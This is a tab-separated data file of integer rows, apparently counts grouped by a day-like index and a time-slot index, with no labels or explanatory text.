19399	100	2	0	115
19399	101	1	0	0
19399	104	1	0	0
19399	136	2	0	115
19399	184	2	0	115
19399	186	1	0	0
19399	189	1	0	0
19399	215	1	0	0
19399	230	1	0	0
19399	242	1	0	0
19399	244	1	0	0
19399	248	1	0	0
19399	249	2	0	115
19399	253	2	0	0
19399	263	1	0	0
19399	265	1	0	0
19399	272	1	0	0
19399	274	1	0	0
19400	33	1	0	0
19400	49	2	0	115
19400	85	1	0	0
19400	88	1	0	0
19400	103	1	0	0
19400	108	3	0	0
19400	115	1	0	0
19400	155	1	0	0
19400	173	1	0	0
19400	208	2	0	115
19400	254	1	0	0
19400	284	1	0	0
19401	5	1	0	0
19401	38	1	0	0
19401	42	2	0	0
19401	71	1	0	0
19401	77	1	0	0
19401	91	1	0	0
19401	108	1	0	0
19401	113	2	0	115
19401	126	2	0	115
19401	160	1	0	0
19401	202	1	0	0
19401	231	1	0	0
19401	246	1	0	0
19401	249	1	0	0
19402	2	1	0	0
19402	31	1	0	0
19402	33	2	0	115
19402	48	1	0	0
19402	66	1	0	0
19402	70	1	0	0
19402	134	2	0	115
19402	145	2	0	115
19402	153	1	0	0
19402	182	1	0	0
19402	198	1	0	0
19402	210	1	0	0
19402	242	1	0	0
19402	243	1	0	0
19402	277	1	0	0
19403	4	1	0	0
19403	14	1	0	0
19403	24	2	0	0
19403	40	1	0	0
19403	41	1	0	0
19403	53	1	0	0
19403	58	1	0	0
19403	87	1	0	0
19403	173	1	0	0
19403	179	1	0	0
19403	191	1	0	0
19403	211	1	0	0
19403	223	1	0	0
19403	227	2	0	0
19403	252	1	0	0
19403	253	3	2	13572
19404	9	1	0	0
19404	15	2	0	0
19404	103	4	0	0
19404	106	2	0	115
19404	116	1	0	0
19404	120	1	0	0
19404	159	1	0	0
19404	228	1	0	0
19404	259	2	0	115
19404	284	2	0	115
19405	9	1	0	0
19405	16	1	0	0
19405	38	1	0	0
19405	46	1	0	0
19405	49	2	0	0
19405	60	3	0	0
19405	73	1	0	0
19405	94	1	0	0
19405	98	1	0	0
19405	106	2	1	6786
19405	146	1	0	0
19405	181	5	0	0
19405	182	8	0	0
19405	183	4	0	0
19405	209	3	0	0
19405	232	1	0	0
19405	262	1	0	0
19405	272	1	0	0
19406	13	1	0	0
19406	26	1	0	0
19406	39	1	0	0
19406	50	2	0	115
19406	66	1	0	0
19406	81	2	0	0
19406	133	1	0	0
19406	181	1	0	0
19406	199	1	0	0
19406	224	1	0	0
19406	230	1	0	0
19406	237	2	0	0
19406	268	1	0	0
19406	272	1	0	0
19406	287	1	0	0
19407	0	2	0	115
19407	11	1	0	0
19407	41	1	0	0
19407	42	1	0	0
19407	43	1	0	0
19407	58	1	0	0
19407	60	1	0	0
19407	65	3	0	115
19407	84	2	0	115
19407	168	1	0	0
19407	286	1	0	0
19408	16	1	0	0
19408	122	1	0	0
19408	170	1	0	0
19408	195	1	0	0
19408	209	1	0	0
19408	212	1	0	0
19408	219	1	0	0
19408	230	1	0	0
19408	232	1	0	0
19408	252	1	0	0
19408	264	1	0	0
19408	275	2	0	0
19408	280	1	0	0
19408	284	1	0	0
19409	42	2	0	0
19409	43	1	0	0
19409	103	1	0	0
19409	110	1	0	0
19409	130	1	0	115
19409	194	1	0	0
19409	195	1	0	0
19409	199	1	0	0
19409	211	2	0	0
19409	224	2	0	0
19409	230	1	0	0
19409	275	1	0	0
19410	7	1	0	0
19410	19	1	0	0
19410	40	1	0	0
19410	47	2	0	0
19410	48	1	0	0
19410	93	2	0	0
19410	94	2	0	0
19410	95	1	0	0
19410	97	1	0	0
19410	98	1	0	0
19410	99	2	0	0
19410	119	1	0	0
19410	140	1	0	0
19410	148	1	0	0
19410	149	1	0	0
19410	159	1	0	0
19410	162	2	0	115
19410	163	1	0	0
19410	192	1	0	0
19410	195	4	0	230
19410	228	1	0	0
19410	230	1	0	0
19410	237	1	0	0
19410	239	1	0	0
19410	240	1	0	0
19410	284	1	0	0
19411	55	1	0	0
19411	57	1	0	0
19411	86	2	0	115
19411	103	3	0	0
19411	109	1	0	0
19411	110	1	0	0
19411	138	1	0	0
19411	146	1	0	0
19411	192	1	0	0
19411	194	1	0	0
19411	224	1	0	0
19411	237	1	0	0
19411	250	1	0	0
19411	258	1	0	0
19411	270	1	0	0
19412	1	2	0	0
19412	45	1	0	0
19412	46	2	0	0
19412	52	2	0	115
19412	85	2	0	0
19412	86	5	0	0
19412	87	1	0	0
19412	116	1	0	0
19412	197	1	0	0
19412	215	1	0	0
19412	221	2	0	0
19412	249	2	0	0
19412	258	1	0	0
19412	273	3	2	4
19413	11	1	0	0
19413	33	2	0	0
19413	59	1	0	0
19413	77	1	0	0
19413	110	1	0	0
19413	115	1	0	0
19413	172	1	0	0
19413	177	1	0	0
19413	192	2	0	0
19413	215	1	0	0
19413	216	1	0	0
19413	228	1	0	0
19413	240	1	0	0
19413	255	3	0	0
19413	256	1	0	0
19413	257	1	0	0
19413	279	1	0	0
19414	9	1	0	0
19414	27	1	0	0
19414	41	1	0	0
19414	42	2	0	0
19414	48	1	0	0
19414	49	1	0	0
19414	58	1	0	0
19414	129	1	0	0
19414	156	1	0	0
19414	168	1	0	0
19414	188	3	0	0
19414	189	6	0	0
19414	190	2	0	0
19415	40	1	0	0
19415	58	1	0	0
19415	88	1	0	0
19415	151	2	0	115
19415	207	1	0	0
19415	213	1	0	0
19415	226	1	0	0
19415	251	1	0	0
19415	254	1	0	0
19415	257	2	1	6786
19416	28	1	0	0
19416	38	1	0	0
19416	46	30	0	2180
19416	52	1	0	0
19416	141	2	0	115
19416	160	2	0	115
19416	172	1	0	0
19416	198	1	0	0
19416	210	1	0	0
19416	251	2	0	115
19417	28	1	0	0
19417	29	1	0	0
19417	44	1	0	0
19417	45	1	0	0
19417	52	1	0	0
19417	58	1	0	0
19417	67	1	0	0
19417	69	1	0	0
19417	70	1	0	0
19417	98	1	0	0
19417	102	1	0	0
19417	139	1	0	0
19417	159	1	0	0
19417	172	1	0	0
19417	190	2	0	6804
19417	191	1	0	0
19417	197	1	0	0
19417	216	2	0	115
19417	223	1	0	0
19417	250	1	0	0
19418	3	1	0	0
19418	19	1	0	0
19418	22	1	0	0
19418	29	1	0	0
19418	36	1	0	0
19418	38	2	0	0
19418	60	1	0	0
19418	92	1	0	0
19418	102	2	0	115
19418	106	2	0	0
19418	147	1	1	0
19418	153	1	0	0
19418	156	2	0	1045
19418	157	2	0	0
19418	189	1	0	0
19418	207	1	0	0
19418	213	2	0	185
19418	233	1	0	0
19418	263	1	0	0
19418	264	1	0	0
19418	268	1	0	0
19418	278	1	0	0
19418	284	1	0	0
19418	285	1	0	0
19419	12	1	0	0
19419	21	1	0	0
19419	38	1	0	0
19419	53	3	0	0
19419	80	1	0	0
19419	92	1	0	0
19419	98	3	0	0
19419	132	1	0	0
19419	139	1	0	0
19419	150	1	0	0
19419	160	1	0	0
19419	174	2	0	0
19419	196	4	0	0
19419	197	3	0	0
19419	209	2	0	115
19419	236	1	0	0
19419	239	4	1	6808
19419	242	1	0	0
19419	287	2	0	115
19420	0	1	0	0
19420	8	1	0	0
19420	11	3	0	115
19420	34	1	0	0
19420	59	1	0	0
19420	81	1	0	0
19420	95	1	0	0
19420	96	1	0	0
19420	105	1	0	0
19420	126	1	0	0
19420	188	1	0	0
19420	189	6	0	0
19420	190	5	0	0
19420	196	1	0	0
19420	209	1	0	0
19420	269	1	0	0
19421	3	1	0	0
19421	29	1	0	0
19421	43	1	0	0
19421	45	1	0	0
19421	48	2	1	6786
19421	53	1	0	0
19421	57	1	0	0
19421	68	1	0	0
19421	76	2	0	115
19421	87	5	0	0
19421	88	8	0	0
19421	89	1	0	0
19421	117	1	0	0
19421	143	1	0	0
19421	146	1	0	9598
19421	169	1	0	0
19421	201	1	0	0
19422	2	1	0	0
19422	11	1	0	0
19422	12	2	0	0
19422	20	1	0	0
19422	45	1	0	0
19422	46	1	0	0
19422	49	1	0	0
19422	95	1	0	0
19422	110	1	0	0
19422	120	1	0	0
19422	169	1	0	0
19422	191	1	0	0
19422	222	1	0	0
19422	223	6	0	0
19422	237	1	0	0
19422	250	4	2	13572
19422	258	3	0	1306
19422	263	2	1	6786
19422	267	1	0	0
19423	5	1	0	0
19423	23	2	0	6804
19423	27	3	0	0
19423	28	2	0	0
19423	49	1	0	0
19423	90	1	0	0
19423	126	1	0	0
19423	134	4	3	20358
19423	135	1	1	6786
19423	139	3	0	0
19423	142	2	0	115
19423	146	2	0	0
19423	163	1	0	0
19423	166	1	0	0
19423	230	1	0	0
19423	262	1	0	0
19423	275	2	0	0
19424	12	1	0	0
19424	21	1	0	0
19424	41	1	0	0
19424	60	2	0	115
19424	67	1	0	0
19424	71	2	0	115
19424	72	1	0	0
19424	83	1	0	0
19424	166	1	0	0
19424	172	1	0	0
19424	195	1	0	0
19424	224	16	0	5824
19424	227	1	0	0
19424	229	1	0	0
19425	30	1	0	0
19425	35	1	0	0
19425	38	1	0	0
19425	40	2	0	0
19425	66	1	0	0
19425	104	2	0	115
19425	113	3	0	0
19425	114	2	0	0
19425	145	1	0	0
19425	151	1	0	0
19425	161	5	1	6786
19425	162	1	0	0
19425	163	1	0	0
19425	200	1	0	0
19425	223	1	0	0
19425	228	1	0	0
19425	231	1	0	0
19425	252	1	0	0
19426	29	1	0	0
19426	45	1	0	0
19426	66	2	0	115
19426	69	2	0	1045
19426	119	1	0	0
19426	120	1	0	0
19426	126	1	0	0
19426	151	1	0	0
19426	177	1	0	0
19426	232	1	0	0
19426	233	1	0	0
19426	248	1	0	0
19427	21	1	0	0
19427	26	1	0	0
19427	28	2	0	115
19427	41	2	0	0
19427	88	1	0	0
19427	89	2	0	0
19427	90	1	0	0
19427	98	1	0	0
19427	112	7	1	6786
19427	148	1	0	0
19427	182	1	0	0
19427	193	1	0	0
19427	209	1	0	0
19427	220	2	0	0
19427	227	1	0	0
19427	277	2	0	0
19428	11	1	0	0
19428	40	1	0	0
19428	41	2	0	0
19428	42	2	0	0
19428	76	1	0	0
19428	88	1	0	0
19428	93	1	0	0
19428	99	1	0	0
19428	108	2	0	0
19428	123	1	0	0
19428	140	1	0	0
19428	153	1	0	0
19428	162	1	0	0
19428	170	1	0	0
19428	191	1	0	0
19428	193	3	0	115
19428	196	1	0	0
19428	210	1	0	0
19428	217	2	0	0
19428	219	2	0	0
19428	226	1	0	0
19428	231	1	0	0
19428	251	1	0	0
19428	265	1	0	0
19428	279	1	0	0
19429	0	1	0	0
19429	5	1	0	0
19429	19	1	0	0
19429	20	1	0	0
19429	36	1	0	0
19429	39	1	0	0
19429	40	1	0	0
19429	48	1	0	0
19429	53	1	0	0
19429	65	3	0	0
19429	66	7	0	0
19429	67	1	0	0
19429	75	1	0	0
19429	95	1	0	0
19429	104	1	0	0
19429	108	1	0	0
19429	132	1	0	0
19429	136	1	0	0
19429	154	1	0	0
19429	162	3	0	230
19429	167	1	0	0
19429	170	1	0	0
19429	172	1	1	6786
19429	184	1	0	0
19429	192	1	0	0
19429	199	1	0	0
19429	206	2	0	115
19429	215	1	0	0
19429	217	1	0	0
19429	222	2	0	0
19429	223	1	0	0
19429	231	1	0	0
19429	239	2	0	115
19429	246	1	0	0
19429	256	1	0	0
19429	260	1	0	0
19429	263	1	0	115
19429	267	3	0	115
19429	270	1	0	0
19429	278	1	0	0
19430	5	1	0	0
19430	16	1	0	0
19430	19	1	0	0
19430	35	1	0	0
19430	41	2	0	0
19430	42	3	0	115
19430	48	1	0	0
19430	54	2	0	115
19430	56	1	0	0
19430	99	1	0	0
19430	107	1	0	0
19430	110	1	0	0
19430	111	1	0	0
19430	112	1	0	0
19430	116	3	0	230
19430	117	1	0	0
19430	129	2	0	0
19430	131	1	0	0
19430	134	1	0	0
19430	147	1	0	0
19430	155	1	0	0
19430	165	1	0	0
19430	179	1	0	0
19430	205	1	0	0
19430	211	1	0	0
19430	213	3	0	115
19430	218	1	0	0
19430	226	1	0	0
19430	233	1	0	0
19430	237	1	0	0
19430	241	2	0	0
19430	243	1	0	0
19430	257	1	0	0
19430	258	1	0	0
19430	261	1	0	0
19430	270	1	0	0
19430	275	2	0	0
19430	279	2	0	0
19431	3	1	0	0
19431	6	2	0	115
19431	7	1	0	0
19431	9	1	0	0
19431	18	1	0	0
19431	22	1	0	0
19431	26	2	0	115
19431	44	1	0	0
19431	55	1	0	0
19431	59	1	0	0
19431	60	5	0	0
19431	73	2	0	0
19431	86	1	0	0
19431	94	2	0	115
19431	108	1	0	0
19431	110	1	0	0
19431	113	1	0	0
19431	117	2	0	115
19431	124	1	0	0
19431	158	1	0	0
19431	161	1	0	0
19431	164	1	0	0
19431	167	1	0	0
19431	195	1	0	0
19431	200	1	0	0
19431	209	1	0	0
19431	210	1	0	0
19431	218	1	0	0
19431	228	2	0	0
19431	229	1	0	0
19431	236	1	0	0
19431	255	1	0	0
19431	259	1	0	0
19431	269	1	0	0
19431	271	1	0	0
19432	19	1	0	0
19432	24	1	0	0
19432	45	2	0	0
19432	64	1	0	0
19432	69	1	0	0
19432	75	1	0	0
19432	82	1	0	0
19432	91	2	0	0
19432	92	3	0	0
19432	111	1	0	0
19432	112	2	0	0
19432	120	2	0	115
19432	127	1	0	0
19432	130	1	0	0
19432	134	1	0	0
19432	138	1	0	0
19432	150	1	0	0
19432	156	2	0	0
19432	157	2	0	0
19432	159	1	0	0
19432	160	1	0	0
19432	169	2	0	115
19432	171	1	0	0
19432	178	1	0	0
19432	179	1	0	0
19432	182	1	0	0
19432	186	1	0	0
19432	187	2	0	0
19432	199	1	0	0
19432	202	1	0	0
19432	204	2	0	0
19432	210	1	0	0
19432	216	3	0	0
19432	220	1	0	0
19432	222	1	0	0
19432	229	2	0	115
19432	231	1	0	0
19432	252	1	0	0
19432	260	7	0	0
19432	261	9	0	0
19432	262	3	0	0
19432	275	1	0	0
19432	286	1	0	0
19433	4	1	0	0
19433	10	1	0	0
19433	15	2	0	0
19433	39	1	0	0
19433	40	1	0	0
19433	42	1	0	0
19433	51	1	0	0
19433	63	2	0	115
19433	77	1	0	0
19433	79	1	0	0
19433	91	1	0	0
19433	98	1	0	0
19433	101	1	0	0
19433	105	1	0	0
19433	108	1	0	0
19433	112	1	0	0
19433	113	1	0	0
19433	115	1	0	1045
19433	118	1	0	0
19433	121	1	0	0
19433	123	1	0	0
19433	139	1	0	0
19433	145	1	0	0
19433	149	1	0	0
19433	152	1	0	0
19433	155	1	0	0
19433	156	2	0	0
19433	174	1	0	0
19433	175	2	0	0
19433	185	2	0	0
19433	190	1	0	0
19433	205	2	0	0
19433	227	1	0	0
19433	242	1	0	0
19433	253	1	0	0
19433	273	2	0	6804
19434	0	1	0	0
19434	21	1	0	0
19434	34	2	0	0
19434	39	1	0	0
19434	44	1	0	0
19434	47	1	0	0
19434	53	1	0	0
19434	56	1	0	0
19434	74	1	0	0
19434	75	1	0	0
19434	109	1	0	0
19434	110	1	0	0
19434	117	2	0	0
19434	136	1	0	0
19434	143	1	0	0
19434	146	1	0	0
19434	150	1	0	0
19434	155	1	0	0
19434	158	1	0	0
19434	160	1	0	0
19434	163	2	0	0
19434	164	1	0	0
19434	169	1	0	0
19434	175	1	0	0
19434	190	1	0	0
19434	195	1	0	0
19434	207	1	0	0
19434	220	1	0	0
19434	221	2	0	0
19434	227	1	0	0
19434	233	1	0	0
19434	254	1	0	0
19434	261	1	0	0
19434	263	1	0	0
19434	266	1	0	0
19434	280	1	0	0
19434	281	1	0	0
19435	27	1	0	0
19435	29	2	0	0
19435	36	1	0	0
19435	41	1	0	0
19435	44	2	0	115
19435	51	1	0	0
19435	56	1	0	0
19435	67	1	0	0
19435	85	1	0	0
19435	92	1	0	0
19435	94	1	0	0
19435	107	1	0	0
19435	108	1	0	0
19435	132	1	0	0
19435	136	5	0	230
19435	137	1	0	0
19435	142	2	0	115
19435	163	1	0	0
19435	165	1	0	0
19435	173	1	0	0
19435	190	1	0	0
19435	193	1	0	0
19435	200	1	0	0
19435	210	1	0	0
19435	230	1	0	0
19435	232	1	0	0
19435	240	1	0	0
19435	241	1	0	0
19435	245	1	0	0
19435	250	1	0	0
19435	256	1	0	0
19435	257	2	0	115
19435	266	1	0	0
19435	269	1	0	0
19435	277	1	0	0
19436	7	1	0	0
19436	18	1	0	0
19436	24	1	0	0
19436	25	1	0	0
19436	32	1	0	0
19436	37	2	0	0
19436	39	2	0	0
19436	40	1	0	0
19436	49	1	0	0
19436	51	1	0	0
19436	52	1	0	0
19436	56	1	0	0
19436	79	1	0	0
19436	84	2	0	115
19436	102	1	0	0
19436	105	1	0	0
19436	111	1	0	0
19436	138	1	0	0
19436	140	1	0	0
19436	142	1	0	0
19436	144	1	0	0
19436	170	1	0	0
19436	176	1	0	0
19436	182	1	0	0
19436	185	1	0	0
19436	186	2	1	0
19436	215	1	0	0
19436	220	3	0	0
19436	232	1	0	0
19436	236	2	0	0
19436	237	1	0	0
19436	238	1	0	0
19436	253	1	0	0
19436	268	1	0	0
19436	269	2	0	115
19436	273	1	0	0
19436	275	1	0	0
19436	278	1	0	0
19436	286	1	0	0
19437	2	1	0	0
19437	7	1	0	0
19437	38	1	0	0
19437	39	3	0	0
19437	41	1	0	0
19437	46	2	0	0
19437	59	1	0	0
19437	65	1	0	0
19437	72	3	0	0
19437	85	1	0	0
19437	90	1	0	0
19437	91	1	0	0
19437	93	1	0	0
19437	94	1	0	0
19437	95	1	0	0
19437	100	1	0	0
19437	125	1	0	0
19437	128	1	0	0
19437	138	2	0	115
19437	146	1	0	0
19437	147	1	0	0
19437	148	1	0	0
19437	158	1	0	0
19437	169	3	1	6786
19437	172	1	0	0
19437	178	1	0	0
19437	181	1	0	0
19437	186	1	0	0
19437	187	1	0	0
19437	195	1	0	0
19437	196	1	0	0
19437	197	1	0	0
19437	217	1	0	0
19437	224	1	0	0
19437	228	1	0	0
19437	230	1	0	0
19437	234	1	0	0
19437	247	1	0	0
19437	254	1	0	0
19437	258	1	0	0
19437	269	1	0	0
19437	270	1	0	0
19437	283	1	0	0
19438	1	1	0	0
19438	6	1	0	0
19438	29	1	0	0
19438	32	1	0	0
19438	36	1	0	0
19438	39	1	0	0
19438	63	3	0	115
19438	81	1	0	0
19438	85	1	0	0
19438	89	1	0	0
19438	124	1	0	0
19438	132	1	0	0
19438	153	1	0	0
19438	161	1	0	0
19438	169	1	0	0
19438	175	1	0	0
19438	188	1	0	0
19438	193	1	0	0
19438	197	2	0	0
19438	208	1	0	0
19438	215	2	0	0
19438	217	1	0	0
19438	227	1	0	0
19439	1	1	0	0
19439	11	1	0	0
19439	16	1	0	0
19439	22	1	0	0
19439	27	1	0	0
19439	35	1	0	0
19439	40	1	0	0
19439	43	1	0	0
19439	55	1	0	0
19439	57	1	0	0
19439	66	1	0	0
19439	69	3	2	13572
19439	82	1	0	0
19439	86	5	3	20358
19439	87	1	0	0
19439	92	1	0	0
19439	110	1	0	0
19439	117	1	0	0
19439	126	1	0	0
19439	132	1	0	0
19439	150	1	0	0
19439	157	1	0	0
19439	174	1	0	0
19439	177	1	0	0
19439	197	2	0	115
19439	215	1	0	0
19439	250	1	0	0
19439	268	1	0	0
19439	269	1	0	0
19439	277	1	0	0
19439	279	1	0	0
19439	285	1	0	0
19440	5	1	0	0
19440	8	1	0	0
19440	13	1	0	0
19440	24	1	0	0
19440	25	1	0	0
19440	30	1	0	0
19440	39	2	0	115
19440	44	1	0	0
19440	48	2	0	115
19440	50	1	0	0
19440	55	1	0	0
19440	68	1	0	0
19440	85	1	0	0
19440	103	1	0	0
19440	109	1	0	0
19440	110	1	0	0
19440	114	1	0	0
19440	119	1	0	0
19440	155	1	0	0
19440	164	1	0	0
19440	165	4	0	0
19440	170	1	0	0
19440	173	1	0	0
19440	196	1	0	0
19440	202	1	0	0
19440	212	3	0	0
19440	213	4	0	0
19440	214	1	0	0
19440	215	2	0	0
19440	216	1	0	0
19440	218	3	0	115
19440	220	1	0	0
19440	222	1	0	0
19440	226	1	0	0
19440	229	1	0	0
19440	249	1	0	0
19440	265	1	0	0
19440	266	1	0	0
19440	286	1	0	0
19440	287	1	0	0
19441	1	3	0	0
19441	5	1	0	0
19441	7	2	0	1045
19441	12	2	0	115
19441	13	1	0	0
19441	41	2	0	0
19441	43	1	0	0
19441	46	1	0	0
19441	72	1	0	0
19441	77	2	0	0
19441	78	1	0	0
19441	88	1	0	0
19441	104	1	0	0
19441	114	2	0	0
19441	115	1	0	0
19441	124	1	0	0
19441	172	1	0	0
19441	189	1	0	0
19441	197	2	1	6786
19441	199	1	0	0
19441	200	1	0	0
19441	203	2	0	0
19441	206	1	0	0
19441	211	1	0	0
19441	215	1	0	0
19441	223	1	0	0
19441	226	1	0	0
19441	231	2	0	0
19441	233	2	0	0
19441	238	2	0	0
19441	243	1	0	0
19441	245	2	0	0
19441	247	2	0	115
19441	249	1	0	0
19441	252	1	0	0
19441	253	1	0	0
19441	258	1	0	0
19441	259	1	0	0
19441	266	1	0	0
19441	268	2	0	0
19441	271	2	0	0
19441	274	2	0	0
19441	277	2	0	0
19441	279	1	0	0
19441	280	1	0	0
19441	282	1	0	0
19441	283	1	0	0
19441	284	1	0	0
19441	286	1	0	0
19441	287	1	0	0
19442	1	1	0	0
19442	2	1	0	0
19442	4	1	0	0
19442	5	1	0	0
19442	7	2	0	0
19442	10	1	0	0
19442	11	1	0	0
19442	12	1	0	0
19442	13	1	0	0
19442	15	1	0	0
19442	16	1	0	0
19442	18	1	0	0
19442	19	1	0	0
19442	20	1	0	0
19442	23	2	0	0
19442	26	2	0	0
19442	29	1	0	0
19442	32	1	0	0
19442	35	2	0	0
19442	38	2	0	0
19442	39	2	0	0
19442	41	2	0	0
19442	44	2	0	0
19442	46	1	0	0
19442	47	2	0	0
19442	49	1	0	0
19442	50	1	0	0
19442	52	1	0	0
19442	53	2	0	0
19442	55	2	0	0
19442	57	1	0	0
19442	58	1	0	0
19442	59	1	0	0
19442	60	1	0	0
19442	61	1	0	0
19442	63	1	0	0
19442	65	2	0	0
19442	66	1	0	0
19442	68	1	0	0
19442	69	1	0	0
19442	72	1	0	0
19442	75	1	0	0
19442	81	1	0	0
19442	83	1	0	0
19442	91	1	0	0
19442	93	1	0	0
19442	98	1	0	0
19442	112	1	0	0
19442	114	1	0	0
19442	116	1	0	0
19442	129	1	0	0
19442	135	1	0	0
19442	141	2	0	0
19442	144	2	0	0
19442	148	1	0	0
19442	156	1	0	0
19442	162	1	0	0
19442	164	1	0	0
19442	165	1	0	0
19442	167	1	0	0
19442	176	1	0	0
19442	185	1	0	0
19442	192	3	0	0
19442	197	1	0	0
19442	220	1	0	0
19442	224	1	0	0
19442	229	1	0	0
19442	230	2	0	0
19442	236	1	0	0
19442	239	1	0	0
19442	248	1	0	0
19442	255	1	0	0
19442	267	1	0	0
19442	271	1	0	0
19442	275	1	0	0
19442	280	1	0	0
19442	281	1	0	0
19442	283	17	0	399461
19442	284	9	0	264597
19443	5	2	0	0
19443	9	5	0	0
19443	17	2	0	0
19443	18	1	0	0
19443	48	1	0	0
19443	53	1	0	0
19443	60	1	0	0
19443	66	1	0	0
19443	67	1	0	0
19443	77	2	0	115
19443	78	1	0	0
19443	89	2	0	0
19443	101	1	0	0
19443	102	1	0	0
19443	141	2	0	115
19443	148	1	0	0
19443	164	1	0	0
19443	167	1	0	0
19443	168	1	0	0
19443	174	1	0	0
19443	177	1	0	0
19443	194	2	0	0
19443	195	1	0	0
19443	207	1	0	0
19443	211	1	0	0
19443	219	1	0	0
19443	222	1	0	0
19443	226	1	0	0
19443	234	1	0	0
19443	236	2	0	0
19443	243	1	0	0
19443	247	3	0	0
19443	252	1	0	0
19443	271	1	0	0
19443	276	1	0	0
19444	8	1	0	0
19444	10	1	0	0
19444	13	1	0	0
19444	22	1	0	0
19444	31	1	0	0
19444	38	5	0	115
19444	41	1	0	0
19444	55	2	0	0
19444	56	1	0	0
19444	60	1	0	0
19444	66	1	0	0
19444	78	1	0	0
19444	85	1	0	0
19444	104	2	0	0
19444	114	1	0	0
19444	126	1	0	0
19444	128	1	0	0
19444	136	1	0	0
19444	148	1	0	0
19444	158	1	0	0
19444	159	2	0	115
19444	167	1	0	0
19444	169	1	0	0
19444	173	2	0	0
19444	187	1	0	0
19444	191	1	0	0
19444	198	1	0	0
19444	216	1	0	0
19444	221	1	0	0
19444	228	1	0	0
19444	229	1	0	0
19444	241	2	0	0
19444	244	3	0	0
19444	253	1	0	0
19444	258	1	0	0
19444	275	1	0	0
19444	276	2	0	0
19444	279	1	0	0
19445	1	3	0	1306
19445	6	1	0	0
19445	7	1	0	0
19445	10	1	0	0
19445	12	1	0	0
19445	13	1	0	0
19445	24	1	0	0
19445	38	1	0	0
19445	48	1	0	0
19445	50	1	0	0
19445	51	1	0	0
19445	58	1	0	0
19445	68	12	0	0
19445	72	1	0	0
19445	76	2	0	115
19445	77	1	0	0
19445	82	1	0	0
19445	85	1	0	0
19445	88	1	0	0
19445	89	1	0	0
19445	90	1	0	0
19445	93	1	0	0
19445	106	2	0	0
19445	108	1	0	0
19445	109	1	0	0
19445	110	1	0	0
19445	111	1	0	0
19445	114	2	0	0
19445	121	2	0	0
19445	130	1	0	0
19445	133	1	0	0
19445	140	1	0	0
19445	141	1	0	0
19445	154	2	0	115
19445	181	1	0	0
19445	182	1	0	0
19445	183	1	0	0
19445	184	1	0	0
19445	185	1	0	0
19445	194	1	0	0
19445	198	1	0	0
19445	201	1	0	0
19445	204	1	0	0
19445	211	1	0	0
19445	219	1	0	0
19445	220	1	0	0
19445	221	2	0	185
19445	227	1	0	0
19445	235	1	0	0
19445	241	2	0	0
19445	255	1	0	0
19446	4	1	0	0
19446	8	2	0	0
19446	10	1	0	0
19446	32	1	0	0
19446	34	1	0	0
19446	37	1	0	0
19446	45	1	0	0
19446	52	1	0	0
19446	54	2	0	0
19446	57	1	0	0
19446	58	1	0	0
19446	61	1	0	0
19446	66	2	0	0
19446	75	1	0	0
19446	76	1	0	0
19446	77	1	0	0
19446	91	1	0	0
19446	118	1	0	0
19446	125	1	0	0
19446	129	1	0	0
19446	133	2	1	6786
19446	134	1	0	0
19446	139	1	0	0
19446	146	1	0	0
19446	154	1	0	0
19446	170	1	0	0
19446	180	2	0	0
19446	195	1	0	0
19446	198	1	0	0
19446	206	2	0	0
19446	211	1	0	0
19446	229	1	0	0
19446	242	2	0	0
19446	244	1	0	0
19446	245	1	0	0
19446	250	1	0	0
19446	252	1	0	0
19446	255	1	0	0
19446	264	1	0	0
19447	24	1	0	0
19447	36	1	0	0
19447	37	1	0	0
19447	58	1	0	0
19447	75	1	0	0
19447	80	1	0	0
19447	89	1	0	0
19447	90	1	0	0
19447	93	1	0	0
19447	99	1	0	0
19447	103	1	0	0
19447	111	1	0	0
19447	121	1	0	0
19447	127	2	0	0
19447	167	1	0	0
19447	170	1	0	0
19447	180	1	0	0
19447	207	1	0	0
19447	210	1	0	0
19447	217	1	0	0
19447	219	1	0	0
19447	220	1	0	0
19447	251	1	0	0
19447	253	1	0	0
19447	263	1	0	0
19447	268	1	0	0
19447	271	1	0	0
19447	272	1	0	0
19447	273	1	0	0
19447	285	1	0	0
19447	287	1	0	0
19448	0	1	0	0
19448	2	1	0	0
19448	6	1	0	0
19448	15	3	0	230
19448	56	1	0	0
19448	61	1	0	0
19448	71	1	0	0
19448	72	1	0	0
19448	78	2	0	115
19448	92	1	0	0
19448	96	1	0	0
19448	101	1	0	0
19448	107	1	0	0
19448	116	1	0	0
19448	131	2	0	0
19448	134	1	0	0
19448	153	1	0	0
19448	162	1	0	0
19448	168	1	0	0
19448	181	1	0	0
19448	185	1	0	0
19448	186	2	0	0
19448	189	1	0	0
19448	191	1	0	0
19448	206	1	0	0
19448	211	1	0	0
19448	223	1	0	0
19448	228	1	0	0
19448	236	1	0	0
19448	237	1	0	0
19448	240	1	0	0
19448	257	1	0	0
19448	260	1	0	0
19448	264	1	0	0
19448	269	1	0	0
19448	270	1	0	0
19448	271	1	0	0
19448	275	1	0	0
19448	283	1	0	0
19449	2	1	0	0
19449	9	1	0	0
19449	17	1	0	0
19449	22	1	0	0
19449	23	1	0	0
19449	41	1	0	0
19449	43	2	0	1045
19449	53	2	0	0
19449	55	1	0	0
19449	65	1	0	0
19449	70	1	0	0
19449	75	1	0	0
19449	80	1	0	0
19449	85	2	0	0
19449	100	1	0	0
19449	102	2	0	0
19449	112	1	0	0
19449	114	1	0	0
19449	124	2	0	115
19449	126	2	0	0
19449	141	1	0	0
19449	150	1	0	0
19449	151	1	0	0
19449	164	1	0	0
19449	176	1	0	0
19449	179	1	0	0
19449	200	1	0	0
19449	217	1	0	0
19449	220	1	0	0
19449	221	2	0	0
19449	224	1	0	0
19449	226	1	0	0
19449	228	1	0	0
19449	230	1	0	0
19449	231	1	0	0
19449	234	2	0	0
19449	237	2	0	0
19449	238	1	0	0
19449	243	1	0	0
19449	244	1	0	0
19449	247	1	0	0
19449	251	1	0	0
19449	258	1	0	0
19449	261	1	0	0
19449	266	1	0	0
19449	268	1	0	0
19449	274	1	0	0
19449	282	1	0	0
19450	6	1	0	0
19450	8	2	0	0
19450	13	1	0	0
19450	51	1	0	0
19450	61	2	0	0
19450	62	2	0	0
19450	68	2	0	0
19450	74	1	0	0
19450	105	1	0	0
19450	106	3	0	115
19450	114	1	0	0
19450	116	1	0	0
19450	119	2	0	115
19450	127	1	0	0
19450	129	1	0	0
19450	136	1	0	0
19450	137	1	0	0
19450	145	1	0	0
19450	155	2	1	6786
19450	159	1	0	0
19450	178	1	0	0
19450	205	2	0	0
19450	225	1	0	0
19450	228	1	0	0
19450	229	1	0	0
19450	236	1	0	0
19450	244	1	0	0
19450	278	1	0	0
19450	281	1	0	0
19450	284	1	0	0
19450	286	2	0	0
19451	0	1	0	0
